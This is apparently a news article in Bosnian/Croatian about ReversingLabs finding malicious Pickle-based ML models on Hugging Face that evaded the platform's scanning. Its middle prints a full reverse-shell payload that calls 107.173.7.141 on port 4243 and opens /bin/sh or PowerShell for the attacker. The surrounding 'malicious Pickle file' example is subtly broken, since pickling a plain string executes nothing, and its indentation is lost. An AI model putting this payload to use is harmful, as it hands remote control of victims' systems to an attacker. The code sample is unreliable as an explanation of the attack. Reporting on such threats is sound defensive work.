U zabrinjavajućem razvoju zajednice mašinskog učenja, istraživači u ReversingLabs-u su identifikovali maliciozne modele na popularnoj platformi Hugging Face.
Ovi modeli iskorištavaju ranjivosti u formatu serijalizacije datoteka Pickle, široko korištenoj metodi za pohranjivanje i dijeljenje podataka mašinskog učenja .
Ovo otkriće naglašava rastuće sigurnosne rizike povezane sa AI platformama za saradnju i naglašava potrebu za oprezom među programerima.
Pickle je Python modul koji se koristi za serijalizaciju i deserializaciju Python objekata.
Iako je zgodan, predstavlja značajne sigurnosne rizike zbog svoje sposobnosti da izvrši proizvoljni Python kod tokom deserijalizacije.
Istraživači iz Reversing Labs-a su primijetili da ovu ranjivost napadači mogu iskoristiti za ugradnju malicioznih korisnih podataka u naizgled bezopasne ML modele.
# Example of a malicious Pickle file
import pickle
# Malicious payload
payload = """
RHOST="107.173.7.141";RPORT=4243;
from sys import platform
if platform != 'win32':
import threading
def a():
import socket, pty, os
s=socket.socket();s.connect((RHOST,RPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")
threading.Thread(target=a).start()
else:
import os, socket, subprocess, threading, sys
def s2p(s, p):
while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush()
def p2s(s, p):
while True:s.send(p.stdout.read(1).encode())
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try: s.connect(("107.173.7.141", 4243)); break
except: pass
p=subprocess.Popen(["powershell.exe"],
stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)
threading.Thread(target=s2p, args=[s,p], daemon=True).start()
threading.Thread(target=p2s, args=[s,p], daemon=True).start()
p.wait()
"""
# Serialize the payload
serialized_payload = pickle.dumps(payload)
# Save to a file
with open('malicious.pkl', 'wb') as f:
f.write(serialized_payload)
Otkriće
Istraživači ReversingLabsa identificirali su dva modela na Hugging Face-u koji su sadržavali maliciozni kod, koji su nazvali “nullifAl”.
Ovi modeli su pohranjeni u PyTorch formatu, u suštini narušenim Pickle datotekama. Maliciozni korisni teret je umetnut na početak Pickle toka, omogućavajući mu da se izvrši prije nego što je integritet datoteke ugrožen, čime je izbjegao otkrivanje od strane sigurnosnih alata Hugging Face .
.webp)
.webp)
Upotreba Pickle datoteka na platformama za saradnju kao što je Hugging Face predstavlja značajne sigurnosne rizike.
Budući da Pickle dozvoljava proizvoljno izvršavanje koda, maliciozni modeli se mogu izraditi da izvrše štetne komande na sistemima koji ništa ne sumnjaju.
Ova ranjivost je pogoršana činjenicom da mnogi programeri daju prednost produktivnosti u odnosu na sigurnost, što dovodi do široko rasprostranjene upotrebe Picklea uprkos njegovim rizicima.
.webp)
Programeri moraju ostati na oprezu i razmotriti alternativne, sigurnije formate serijalizacije.
Hugging Face je poduzeo korake da poboljša svoje sigurnosne mjere, ali inherentni rizici povezani s Pickle datotekama pokazuju potrebu za stalnom budnošću i inovacijama u osiguranju AI platformi .
Programerima se savjetuje da budu oprezni kada koriste Pickle datoteke i da nadziru svoje sisteme u potrazi za sumnjivim aktivnostima vezanim za ove IOC-ove.
Izvor: CyberSecurityNews